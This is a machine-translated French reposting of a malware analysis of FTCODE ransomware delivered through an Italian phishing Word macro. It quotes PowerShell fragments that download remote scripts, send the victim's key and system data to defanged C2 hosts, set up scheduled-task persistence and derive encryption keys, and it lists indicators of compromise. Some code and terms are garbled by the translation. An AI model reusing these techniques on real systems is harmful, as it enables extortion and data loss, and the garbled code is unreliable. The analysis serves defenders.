Serveur d'impression

Ransomware disparaît sans fichier, utilise des documents malveillants et PowerShell pour crypter les fichiers – Bien choisir son serveur d impression

Le 21 décembre 2019 - 22 minutes de lecture

En octobre 2019, nous avons rencontré une campagne de phishing livrant un document Microsoft Word malveillant qui distribuait un ransomware avec une torsion. Contrairement à la plupart des familles de ransomwares, telles que GandCrab, WannaCry et RobinHood, le malware n'a pas été compilé de code. Au lieu de cela, il a été écrit en PowerShell, un langage interprété, et exécuté en mémoire sans être stocké directement sur le disque. Ces menaces en mémoire sont parfois appelées menaces «sans fichier». Plus tôt cette année, Microsoft a publié une taxonomie des menaces sans fichier que nous trouvons utile pour classer les logiciels malveillants en mémoire. Par exemple, cet échantillon de ransomware appartient au type II de cette taxonomie car le malware s'appuie indirectement sur des fichiers stockés sur disque.

Le malware fonctionne en lançant un script PowerShell hébergé à distance en mémoire pour crypter les fichiers avec une extension de fichier aléatoire. Il établit la persistance sur un système infecté en créant un fichier de raccourci (LNK) dans le répertoire de démarrage de l'utilisateur qui exécute un téléchargeur VBScript après chaque démarrage. Le VBScript est une variante (version = 1006.1) de JasperLoader, un chargeur léger qui est utilisé pour télécharger et exécuter le ransomware. Le ransomware est une variante (version = 1008.1) de FTCODE, nommée d'après l'extension de fichier utilisée par le ransomware pour renommer les fichiers qu'il avait cryptés dans les versions antérieures.

Après une série d'attaques réussies de ransomwares en 2019 contre des municipalités des États-Unis, notamment Baltimore et Lake City, des histoires très médiatisées d'organisations payant des rançons et le succès autoproclamé du groupe derrière Gandcrab, l'entreprise de ransomwares ne montre aucun signe de disparition.

Selon un avis du Federal Bureau of Investigation publié le 2 octobre 2019, «les attaques de ransomwares sont de plus en plus ciblées, sophistiquées et coûteuses, même si la fréquence globale des attaques reste constante. Depuis le début de 2018, l'incidence de vastes campagnes de ransomware aveugles a fortement diminué, mais les pertes liées aux attaques de ransomware ont considérablement augmenté. »

Les programmes de rançongiciels sont commercialisés comme un moyen facile et à faible risque de gagner de l'argent dans les forums clandestins. Notre récent article sur le rançongiciel Buran explore le fonctionnement d'un système de rançongiciel en tant que service. Dans le cas de Buran, ses développeurs disent qu’ils prendront une réduction de 25% de toute rançon en échange d’un «décodeur» utilisé pour décrypter les fichiers des victimes.

Dans cet article de blog, nous analysons les techniques utilisées par ce rançongiciel basé sur des scripts pour conserver une faible empreinte et éviter la détection par les contrôles de sécurité traditionnels.

Informations sur le fichier

  • Nom du fichier: Fattura-2019-864819.doc
  • Taille de fichier: 3 MB (3145729 octets)
  • Classification: Document-Word.Downloader.Cvu
  • MD5: 6EC76CEFB9C668F92F0594CA456F5222
  • SHA1: 0270F80230258CDA5317C18BD00C4F32EAC4857F
  • SHA256: 20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5

Quelle est la particularité de 3 Mo?

La plupart des téléchargeurs Microsoft Word sont petits, mais cet exemple s'est avéré être une valeur aberrante en termes de taille de fichier. L'ouverture du fichier dans un éditeur hexadécimal a rapidement expliqué la raison de sa grande taille de fichier. Nous avons constaté que le document avait été rempli avec des octets nuls et que le contenu significatif du document n'était en fait que de 76 Ko. Le remplissage pourrait être un moyen de générer de manière triviale un hachage différent pour chaque document malveillant en ajoutant ou en supprimant des octets nuls de fin.

Téléchargeur Microsoft Word

Le ransomware est arrivé dans le cadre d'une campagne de phishing livrant un document Word malveillant (.doc).

Figure 1 – Modèle de document italien pour inciter l'utilisateur à cliquer sur le bouton «Activer le contenu».

Le document de phishing utilisé pour livrer le ransomware a été écrit en italien, ce qui indique la campagne ciblant les italophones. L'acteur malveillant essaie d'inciter l'utilisateur à cliquer sur le ruban "Activer le contenu et activer la modification" en affirmant qu'il y a un problème avec le document.

Figure 2 – Contenu traduit du document pour inciter l'utilisateur à cliquer sur le ruban «Activer le contenu et activer l'édition».

Document_Open Macro

Le document Microsoft Word de cette campagne contient une macro Document_Open Visual Basic pour Applications (VBA) protégée par mot de passe. Comme son nom l'indique, ce type de macro s'exécute à chaque ouverture du document. On peut utiliser l'outil olevba.py pour extraire le code VBA du document. le Document_Open sous-routine appelle une fonction appelée satisfaire, qui crée une commande PowerShell en appelant une autre fonction, cftbd. Cette fonction ajoute 98 au nombre décimal passé en argument et convertit le résultat en caractère ASCII. le cftbd est appelée nombre de fois pour créer une commande PowerShell.

Figure 3 – Contenu de la macro VBA Document_Open intégré dans le document.

Cliquer sur «Activer le contenu» conduit à l'exécution de la macro. La macro exécute une commande PowerShell distante à l'aide du module d'assemblage .NET, Net.WebClient. Il utilise la méthode DownloadString pour télécharger le script à partir d'un serveur distant (). Le script est exécuté en mémoire à l'aide de l'alias «iex» de l'applet de commande Invoke-Expression. In fournit également deux chaînes de requête, «need» et «vid», qui spécifient la charge utile souhaitée.

Figure 4 – Une trace capturée pour le lancement de la commande PowerShell appelant un script distant.

Le script PowerShell distant est le rançongiciel et contient la logique pour crypter les fichiers et persister sur un système infecté. Il contient les fonctionnalités suivantes.

Fonctions d'assistance

Persistance

Le ransomware établit la persistance via une tâche planifiée et en créant un fichier LNK dans le dossier de démarrage. La fonction appelée uztcgeyhu télécharge une chaîne distante à partir d'une autre URL (hxxp: //mario.neonhcm[.]com /? need = aegzfej & vid = dpec2 &) et l'enregistre sous WindowsIndexingService.vbs dans C: Users Public Libraries.

$ ufihvew = Join-Path $ tabxszsv (get-random -minimum 100 -maximum 999999)

La variable $ ufihvew génère un nombre aléatoire compris entre 100 et 999999 et le joint au chemin $ env: Public Libraries. Dans cet exemple, il crée le chemin C: Users Public Libraries 770527.

$ sjfaagvzy.DownloadString («hxxp: //mario.neonhcm[.]com /? need = aegzfej & vid = dpec2 & ”) | out-file $ ufihvew;

La variable $ sjfaagvzy est un objet de la classe PowerShell System.Net.WebClient qui appelle ensuite la méthode DownloadString pour télécharger les données vers l'emplacement stocké dans $ ufihvew.

Après avoir enregistré le fichier, le ransomware effectue des vérifications de validation sur le chemin et la taille du contenu pour s'assurer qu'il est supérieur à 5 Ko. En cas de succès, il copie 770527 dans C: Users Public Libraries WindowsIndexingService.vbs.

$ uxsdcha = (schtasks.exe / create / TN "WindowsApplicationService" / sc DAILY / st 00:00 / f / RI 20 / du 23:59 / TR $ jgyijdfsg)

Après cela, il crée une tâche planifiée appelée WindowsApplicationService qui exécute WindowsIndexingService.vbs. La tâche planifiée est configurée pour s'exécuter quotidiennement à 00h00 toutes les 20 minutes pendant 23 heures et 59 minutes.

Le ransomware crée ensuite un fichier de raccourci WindowsApplicationService.lnk qui définit sa cible sur C: Users Public Libraries WindowsIndexingService.vbs. La description du raccourci est «Service d'application Windows».

Figure 5 – Fonction uztcgeyhu crée une tâche planifiée et un fichier .lnk dans le dossier de démarrage pour persister.

Communication avec le serveur de commande et de contrôle (C2)

Le ransomware communique avec un serveur C2, envoie des informations sur le système et récupère une commande à exécuter en réponse.

$ gsvgdcw = $ sjfaagvzy.UploadString («hxxp: //connect.hireguards[.]com / ", (" ver = 1008.1 & vid = dpec2 & "+ $ wdgvgvthgv));

Une fonction zvbtfyajj utilise la méthode UploadString de System.Net.WebClient pour se connecter au serveur C2 à hxxp: //connect.hireguards[.]com /. La requête HTTP POST envoie des données sous forme de chaînes de requête appelées «version» et «vid» avec le paramètre transmis à la fonction. La fonction compare ensuite les données de réponse avec une chaîne («ok») et renvoie vrai et faux en conséquence.

Figure 6 – Fonction zvbtfyajj communique avec le serveur C2 pour les commandes.

Crypteur

Le ransomware crypte les fichiers en utilisant l'algorithme Rijndael. Il utilise la classe .NET System.Security.Cryptography.RijndaelManaged pour créer un objet RijndaelManaged. Il initialise l'objet avec un vecteur d'initialisation (IV), une clé, un remplissage et un mode.

$ iecstygcb.IV = (new-Object Security.Cryptography.SHA1Managed) .ComputeHash ( [Text.Encoding]:: UTF8.GetBytes ($ wevhgux))[0..15];

Le IV est dérivé de la chaîne codée en dur "BXCODE INIT". Il calcule d'abord un hachage de la chaîne codée UTF-8 à l'aide de la méthode ComputeHash de la classe .NET Security.Cryptography.SHA1Managed. La taille de hachage de l'algorithme SHA1Managed est de 160 bits. Il affecte ensuite les 16 premiers bits comme IV.

La clé de chiffrement est dérivée du sel de clé qui est la chaîne codée en dur «BXCODE pirate votre système» et un mot de passe aléatoire.

$ jagcwjyiy = get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin $ pass = $ null -process $ pass + = [char]$ _ -end $ pass;

La variable $ jagcwjyiy génère le mot de passe pour la clé. Il utilise l'applet de commande Get-Random et génère 50 nombres aléatoires pour les numéros d'entrée donnés 48 à 57, 65 à 90 et 97 à 122. Il convertit ensuite ces nombres en caractères, générant une longue chaîne de 50 caractères.

$ iecstygcb.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $ tbwtcvjh, $ ywzvjthf, "SHA1", 5) .GetBytes (32);

Pour dériver la clé de chiffrement, le ransomware utilise la classe .NET Security.Cryptography.PasswordDeriveBytes avec un mot de passe, un sel de clé, un algorithme de hachage (SHA1) et un numéro d'itération (5) comme paramètres. Il définit ensuite 32 octets de la sortie comme clé de chiffrement. Le ransomware définit le mode de remplissage «Zéros» et le chaînage de blocs de chiffrement (CBC) comme mode de chiffrement pour l'algorithme symétrique dans l'objet RijndaelManaged.

$ ifuhffefwv = new-Object Security.Cryptography.CryptoStream $ cgzctus, $ baitgbth, ”Write”;

Une fois le chiffreur prêt, il utilise la classe .NET Security.Cryptography.CryptoStream pour transformer tout octet donné d'un fichier en un flux de mémoire chiffré.

Figure 7 – Fonction d'assistance Encryptor.

Lance une commande à l'aide du shell de commande (cmd.exe)

Le ransomware exécute des commandes sur le système à l'aide d'une fonction appelée wyidyax. Les commandes sont exécutées via un processus cmd.exe créé à l'aide de la cmdlet Start-Process. Le processus cmd.exe est créé avec l'argument de fenêtre masquée «/ c».

Figure 8 – Fonction d'assistance pour lancer des commandes à l'aide de cmd.exe.

Processeur de fichiers: module principal de Ransomware

Une fonction nommée gwytattut est le module de traitement de fichiers du ransomware qui effectue les actions suivantes.

1. Établissez la persistance et générez un identifiant unique

Le ransomware crée un dossier appelé OracleKit dans le répertoire C: Users Public, où il stocke un identificateur global unique (GUID) et un script à chaque exécution.

2. Vérifiez si le système a déjà été infecté pour éviter l'exécution parallèle de scripts

Le ransomware vérifie si un fichier appelé quanto98.tmp existe dans le dossier% TEMP% de l'utilisateur. Un rapport public du 3 octobre 2019 qui a examiné une variante du FTCODE indique que quanto98.tmp fonctionne également comme un kill switch. Cependant, nous avons constaté que dans cet exemple, il ne fonctionne pas comme un kill switch. Si le fichier existe, il utilise l'applet de commande New-TimeSpan pour calculer la différence entre l'heure actuelle et l'heure de création de quanto98.tmp. Si la différence est supérieure à 30 minutes, le script se ferme. Sinon, il écrit l'heure actuelle dans le fichier à l'aide de l'alias «sc» de l'applet de commande Set-Content. Cela évite que deux scripts parallèles s'exécutent en même temps.

Figure 9 – Code qui évite l'exécution parallèle de scripts en utilisant le contenu du fichier $ env: temp + “ quanto98.tmp”

3. Créez un nouveau GUID pour identifier le système infecté

Le ransomware vérifie si un fichier nommé w00log03.tmp existe dans le répertoire OracleKit. S'il n'existe pas, le logiciel malveillant crée un GUID à l'aide de la méthode NewGuid. Si w00log03.tmp existe, le script vérifie que la longueur du contenu est 36, ce qui correspond à la longueur d'un GUID valide. Si la longueur du contenu est 36, il utilise le contenu du fichier comme GUID et l'affecte à une variable appelée $ bfjixyes. Sinon, il génère un nouveau GUID et l'écrit dans le fichier à l'aide de l'applet de commande Set-Content. Une fois qu'il écrit le GUID dans le fichier, il marque le fichier comme masqué à l'aide de l'alias «gi» de l'applet de commande Get-Item.

Figure 10 – Création d'un GUID pour identifier le système infecté. Le GUID est stocké dans un fichier caché, w00log03.tmp.

4. Créez une extension unique pour les fichiers cryptés

$ schbzwt = ([string]CBMieGh0dHBzOi8vc2VjdXJpdHlib3VsZXZhcmQuY29tLzIwMTkvMTAvcmFuc29td2FyZS1nb2VzLWZpbGVsZXNzLXVzZXMtbWFsaWNpb3VzLWRvY3VtZW50cy1hbmQtcG93ZXJzaGVsbC10by1lbmNyeXB0LWZpbGVzL9IBAA:: NewGuid ()). Substring (0,6);

Le ransomware utilise les 6 premiers caractères du nouveau GUID comme extension pour chaque fichier crypté. Notez que ce GUID est différent de celui généré à l'étape trois. De cette façon, le ransomware génère une extension unique pour chaque système infecté.

5. Téléchargez les données de reconnaissance sur le serveur C2 et vérifiez les commandes en réponse

Le ransomware envoie des informations sur le système infecté sous forme de chaînes de requête au serveur C2 dans une demande HTTP POST en appelant le zvbtfyajj une fonction:

  • ver (Version de FTCODE)
  • vid (identifiant de la charge utile ou du script)
  • guid (GUID généré à l'étape trois, par exemple 8af99a27-1610-4b74-8e2e-566ab0db7bf8)
  • ext (extension unique générée à l'étape quatre, par exemple e12207)
  • ek (mot de passe unique de 50 caractères, utilisé dans la fonction de chiffrement, par exemple 0turJIjTdy87wpYocq3CVRSMlZUeBPODHxFfiXL1vk4NhGgKA2)

Comme expliqué ci-dessus, zvbtfyajj renvoie vrai si les données de réponse du serveur C2 contiennent la chaîne «ok», sinon il renvoie faux. Si zvbtfyajj renvoie false, le script supprime le fichier identificateur quanto98.tmp à l'aide de l'applet de commande Remove-Item «ri» et quitte. Si zvbtfyajj renvoie true, le script continue et définit l'heure actuelle comme contenu du fichier quanto98.tmp pour le chronométrage.

Figure 11 – Le script du rançongiciel se ferme si zvbtfyajj renvoie faux.

Dans cet exemple, le script envoie les données suivantes au serveur C2:

ver = 1008.1 & vid = dpec2 & guid = 8af99a27-1610-4b74-8e2e-566ab0db7bf8 & ext = e12207 & ek = 0turJIjTdy87wpYocq3CVRSMlZUeBPODHxFfiXL1vk4NhGgKAKA

Figure 12 – Requête HTTP POST et données de réponse correspondantes du serveur C2.

6. Générez une note de rançon personnalisée

Le ransomware utilise la variable $ dsubate pour générer une note de rançon. Cette variable contient une chaîne encodée en Base64.

$ dsubate = ([System.Text.Encoding]:: ASCII.GetString ([System.Convert]:: FromBase64String ($ dsubate)) -remplacer «% guid%», $ bfjixyes);

Le ransomware décode ensuite la chaîne et remplace «% guid%» par la valeur de la variable $ bfjixyes, qui contient le GUID généré à l'étape trois.

Figure 13 – La sortie décodée Base64 de $ dsubate, qui contient la chaîne% guid%.

7. Supprimer les sauvegardes système et les instantanés de volume

Le ransomware appelle ensuite une fonction appelée wyidyax qui exécute plusieurs commandes. Ces commandes suppriment les instantanés de volume, les sauvegardes et désactivent la récupération au démarrage de Windows. L'une des commandes modifie la «politique de démarrage» pour ignorer toutes les erreurs afin d'éviter que Windows ne bascule en mode de récupération Windows.

Figure 14 – Suppression des sauvegardes et des instantanés de volume par le ransomware.

8. Informez le serveur C2 avant de crypter les fichiers

zvbtfyajj ("guid = $ bfjixyes & status = start");

Une fois que le ransomware a effectué toutes les étapes précédentes, il envoie les données suivantes au serveur C2 pour l'informer que le processus de cryptage est en cours.

Contrairement à l'étape cinq, il ne vérifie pas les données de réponse du serveur, ce qui signifie qu'il procède automatiquement au chiffrement des fichiers. Dans cet exemple, il a envoyé les données suivantes:

ver = 1008.1 & vid = dpec2 & guid = 8af99a27-1610-4b74-8e2e-566ab0db7bf8 & status = start

Figure 15 – Requête HTTP POST informant le serveur C2 du démarrage du chiffrement.

9. Crypter les fichiers

$ wubvsxdugt = Get-PSDrive | Where-Object $ _. Free -gt 50000 | Sort-Object -Descending;

Le ransomware utilise l'applet de commande Get-PSDrive pour parcourir les lecteurs du système. Il ne crypte que les fichiers sur les disques qui ont plus de 50 000 Ko (~ 50 Mo) d'espace libre. Le malware ne crypte pas les ruches de registre exposées par le fournisseur de registre PowerShell. En outre, tous les répertoires racine qui correspondent aux noms suivants sont ignorés pour éviter de chiffrer les fichiers critiques du système d'exploitation.

  • les fenêtres
  • Temp
  • Recycler
  • Intel
  • OEM
  • Fichiers de programme
  • Données de programme

Il trie les lecteurs par ordre décroissant et commence à récupérer les fichiers de manière récursive à l'aide de l'alias «gci» de l'applet de commande Get-ChildItem.

Le ransomware crypte les fichiers qui ont les extensions suivantes:

.3fr .dazip .ibank .mef .pptx .sr2 .xlsb
.7z .db0 .icxs .menu .psd .srf .xlsm
.accdb .dba .indd .mlx .psk .srw .xlsx
.ai .dbf .itdb .mov .TVP .somme .xxx
.apk .dcr .itl .mp4 .ptx .svg .Zip *: français
.arch00 .der .itm .mpqge .py .syncdb .ztmp
.arw .desc .iwd .mrwref .qdf .t12 portefeuille
.atout .dmp .iwi .ncf .qic .t13
.avi .dng .jpe .nrw .r3d .impôt
.bar .doc .jpeg .ntl .raf .tor
.baie .docm .jpg .odb .rar .SMS
.bc6 .docx .js .odc .brut .upk
.bc7 .dwg .kdb .odm .rb .vcf
.gros .dxg .kdc .odp .re4 .vdf
.bik .epk .kf .ods .rgss3a .vfs0
.bkf .eps .disposition .odt .jante .vpk
.bkp .erf .lbf .orf .rofl .vpp_pc
.goutte .esm .litemod .p12 .rtf .vtf
.bsa .ff .lrf .p7b .rw2 .w3x
.cas .flv .ltx .p7c .rwl .wb2
.cdr .la forge .lvl .pak .sav .wma
.cer .fos .m2 .pdd .sb .wmo
.cfr .fpk .m3u .pdf .sid .wmv
.cr2 .fsh .m4a .pef .sidd .wotreplay
.crt .gdb .carte .pem .sidn .wpd
.crw .gho .mcmeta .pfx .sie .wps
.css .hkdb .mdb .pkpass .sis .x3f
.csv .hkx .mdbackup .png .slm .xf
.d3dbsp .hplg .mddata .ppt .snx .xlk
.das .hvpl .mdf .pptm .sql .xls

Le ransomware ouvre le fichier en mode ReadWrite et si la taille du fichier est supérieure à 40 960 octets, il récupère les 40 960 premiers octets à chiffrer. Sinon, il crypte l'intégralité du contenu du fichier.

Figure 16 – Sélection de la longueur du tampon pour le chiffrement

Ensuite, le logiciel malveillant appelle la fonction de cryptage pour crypter le tampon, puis l'écrit dans le fichier. Il renomme le fichier en ajoutant l'extension unique générée à l'étape quatre au nom du fichier. Une fois qu'il a fini de crypter les fichiers, le ransomware supprime une note de rançon appelée READ_ME_NOW.htm. Le contenu du fichier est généré à l'étape six et contient un en-tête HTML.

Figure 17 – Note de rançon supprimée READ_ME_NOW.htm.

La note de rançon demande aux victimes de visiter une adresse .onion accessible sur le réseau d'anonymat de Tor:

  • hxxp: // qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]oignon

Les opérateurs de ransomware exigent un paiement de rançon à l'adresse du portefeuille Bitcoin suivante:

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

La rançon varie de 500 à 25 000 USD, selon le moment de la réception du paiement. Si aucun paiement n'est reçu après 30 jours, le site Web affirme que la clé privée de la victime sera supprimée, ce qui rend le décryptage très difficile. Étant donné que la clé privée est envoyée via HTTP en texte brut si le trafic réseau envoyé au serveur C2 est capturé, les fichiers peuvent être non chiffrés.

Figure 18 – Site Web de décryptage hébergé sur le réseau Tor.

Au 15 octobre, aucune transaction n'avait été effectuée sur le portefeuille Bitcoin. Cela suggère que cette campagne n'a pas été lucrative pour l'acteur malveillant, bien qu'il ait pu utiliser d'autres portefeuilles Bitcoin au-delà de notre visibilité.

Figure 19 – Portefeuille Bitcoin au 15 octobre 2019.

10. Avertissez le serveur C2 de la fin de la tâche

zvbtfyajj ("guid = $ bfjixyes & status = done & res =" + $ atgtbxwec);

Après avoir chiffré tous les fichiers, il envoie les données suivantes au serveur C2 pour l'informer que le chiffrement est terminé:

  • guid
  • statut = terminé
  • res = $ atgtbxwec ($ atgtbxwec est le nombre de fichiers cryptés)

Si une exception est levée (sauf pour l'ouverture, la fermeture ou l'écriture de fichiers) pendant le cryptage, le ransomware envoie les données suivantes au serveur pour l'informer de l'erreur qui s'est produite. Cela aide les auteurs de logiciels malveillants à comprendre l'environnement et à modifier les scripts en conséquence:

  • guid
  • psver (version PowerShell Major, récupérée à l'aide de l'applet de commande Get-Host)
  • erreur (message d'exception codé en Base64)

Figure 20 – Envoi du message d'exception au serveur C2.

Figure 21 – Graphique d'interaction des processus du ransomware.

Contenu du chargeur VBScript

Comme expliqué ci-dessus, la première fonction d'assistance uztcgeyhu dépose un fichier .vbs dans C: Users Public Libraries. Le fichier VBS est obscurci et crée une commande PowerShell encodée en Base64.

Figure 22 – VBScript obscurci. La fonction hxfs crée une commande PowerShell encodée en Base64.

Figure 23 – Commande PowerShell encodée en Base64.

La commande PowerShell vérifie l'existence de thumbcache_64.db dans C: Users Public Libraries. S'il n'est pas trouvé, le script contacte un serveur C2 (hxxp: //cdn.unitycareers[.]com). Les informations suivantes sur le système infecté sont envoyées au serveur C2:

  • v = 1006,1
  • guid (différent de celui créé à l'étape trois, par exemple 1062f9e6-8bcd-4d3a-8a1e-4ff11125345c)
  • status = s'inscrire
  • ssid (16 premiers caractères du GUID)
  • os (version du système d'exploitation, par exemple 0.17763.592)
  • psver (version majeure de Powershell, par exemple 5)
  • nom_comp (nom de l'ordinateur)
  • domen (domaine C2, par exemple hxxp: //cdn.unitycareers[.]com /)

Lors de l'analyse de cet exemple, le serveur C2 à hxxp: //cdn.unitycareers[.]com a répondu avec un message 403 Denied. Cependant, si la connexion réussit, le script peut télécharger une charge utile supplémentaire et l'exécuter à l'aide de l'applet de commande Invoke-Expression. Les données Base64 suivantes ont été envoyées par cet exemple:

dj0xMDA2LjEmZ3VpZD0xMDYyZjllNi04YmNkLTRkM2EtOGExZS00ZmYxMTEyNTM0NWMmc3RhdHVzPXJlZ2lzdGVyJnNzaWQ9ZGYwNGRmMwg
[Redacted]zYzLjU5MiZwc3Zlcj01JmNvbXBfbmFtZT1NQUwtUFJPWFktMSZkb21lbj1odHRwOi8vY2RuLnVuaXR5Y2FyZWVycy5jb20v

v = 1006.1 & guid = 1062f9e6-8bcd-4d3a-8a1e-4ff11125345c & status = register & ssid = df04df3891d04057 & os = 10.0.17763.592 & psver = 5 & comp_name =[Redacted]& domen = hxxp: //cdn.unitycareers[.]com /

Figure 24 – Demande HTTP POST de s'enregistrer auprès du serveur C2, suivie d'une réponse 403.

Figure 25 – Graphique d'interaction de processus capturé lors de l'exécution de WindowsIndexingService.vbs.

Cartographie MITRE ATT & CK

Figure 26 – Techniques MITRE ATT & CK observées dans cette campagne.

Indicateurs de compromis

URLs

  • hxxp: //cdn.unitycareers[.]com
  • hxxp: //home.southerntransitions[.]net
  • hxxp: //mario.neonhcm[.]com
  • hxxp: // qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]oignon

En-tête HTTP

  • Type de contenu: application / x-www-form-urlencoded

SHA256 Hashs

  • 20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5Fattura-2019-864819.doc
  • 06A51D934D31506AADE201B1E0E16098948844F07EC67AE666872CFE3B30C1A0 WindowsIndexingService.vbs

Portefeuille Bitcoin

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

Commentaires

Laisser un commentaire

Votre commentaire sera révisé par les administrateurs si besoin.